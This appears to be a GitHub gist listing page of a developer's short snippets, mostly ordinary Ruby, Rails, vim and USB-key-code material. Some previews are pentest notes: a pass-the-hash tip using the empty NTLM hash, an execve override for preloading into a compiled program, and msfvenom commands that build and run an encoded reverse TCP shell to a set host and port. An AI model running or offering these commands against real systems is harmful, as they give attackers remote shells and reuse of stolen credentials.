Skip to content

Instantly share code, notes, and snippets.

View ellcs's full-sized avatar

ellcs

  • Hamburg, Germany
  • 23:47 (UTC +01:00)
View GitHub Profile
@ellcs
ellcs / formtastic_static_field.html.erb
Last active August 24, 2017 08:43
static field in formtastic
<% # you might want to create a casual label with %>
<% # static content or content to display. %>
<% # to do, use this: %>
<li>
<legend class="label">
<label>
Static Label
</label>
</legend>
@ellcs
ellcs / pg_pub_sub.rb
Created January 12, 2018 14:42 — forked from chsh/pg_pub_sub.rb
PostgreSQL LISTEN/NOTIFY example for ruby
#
# A:
# pubsub = PgPubSub.new('channelname')
# pubsub.subscribe do |data|
# puts "data: #{data} is coming!"
# end
#
# B:
# pubsub = PgPubSub.new('channelname')
# pubsub.publish("hello world")
# from http://zzapper.co.uk/vimtips.html
------------------------------------------------------------------------------
" new items marked [N] , corrected items marked [C]
" *best-searching*
/joe/e : cursor set to End of match
3/joe/e+1 : find 3rd joe cursor set to End of match plus 1 [C]
/joe/s-2 : cursor set to Start of match minus 2
/joe/+3 : find joe move cursor 3 lines down
/^joe.*fred.*bill/ : find joe AND fred AND Bill (Joe at start of line)
/^[A-J]/ : search for lines beginning with one or more A-J
@ellcs
ellcs / usb_hid_keys.h
Created March 12, 2019 18:40 — forked from MightyPork/usb_hid_keys.h
USB HID Keyboard scan codes
/**
* USB HID Keyboard scan codes as per USB spec 1.11
* plus some additional codes
*
* Created by MightyPork, 2016
* Public domain
*
* Adapted from:
* https://source.android.com/devices/input/keyboard-devices.html
*/
@ellcs
ellcs / empty_password_hash.md
Last active February 21, 2020 21:39
smb password empty hash

fgdump.exe dumps hashes. It replaces null hashes with NO PASSWORD. However, when passing the hash, you should rather use aad3b435b51404eeaad3b435b51404ee.

#!/bin/bash
#
# Copyright (c) 2020 ellcs.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, version 3.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
@ellcs
ellcs / execve_overload.c
Created March 9, 2020 14:51
Override method in compiled file
// Step 1) gcc -fpic -shared -o execve.so execve_overload.c
#ifndef foo_h__
#define foo_h__
#include <stdio.h>
#include "stdlib.h"
int execve(const char *filename, char *const argv[], char *const envp[]) {
puts("Overwritten. Bye!");
exit(0);
@ellcs
ellcs / all_exceptions.rb
Last active March 10, 2020 12:30
Complete ruby exception list
# Public Domain
class Class
def descendants
ObjectSpace.each_object(Class).select { |klass| klass <= self }
end
def ancestor_class
ancestors[1..-1].find { |p| p.is_a?(Class) }
end
@ellcs
ellcs / log.rb
Created March 20, 2020 12:16
ruby log with filename and line
def log(str); c = caller.first.split(":")[0..1].join(":"); puts "#{c} \"#{str}\""; emd
@ellcs
ellcs / linux_reverse.c
Last active March 28, 2020 14:45
Execute bytearray in C
// You can just generate an elf file:
// $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.119.200 LPORT=1337 -f elf -e x86/shikata_ga_nai -o rev
// $ chmod u+x rev
// ./rev
// Or compile it on your own:
// $ gcc -z execstack linux_reverse.c
int main() {
// $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.119.200 LPORT=1337 -f c
// NOPs added by hand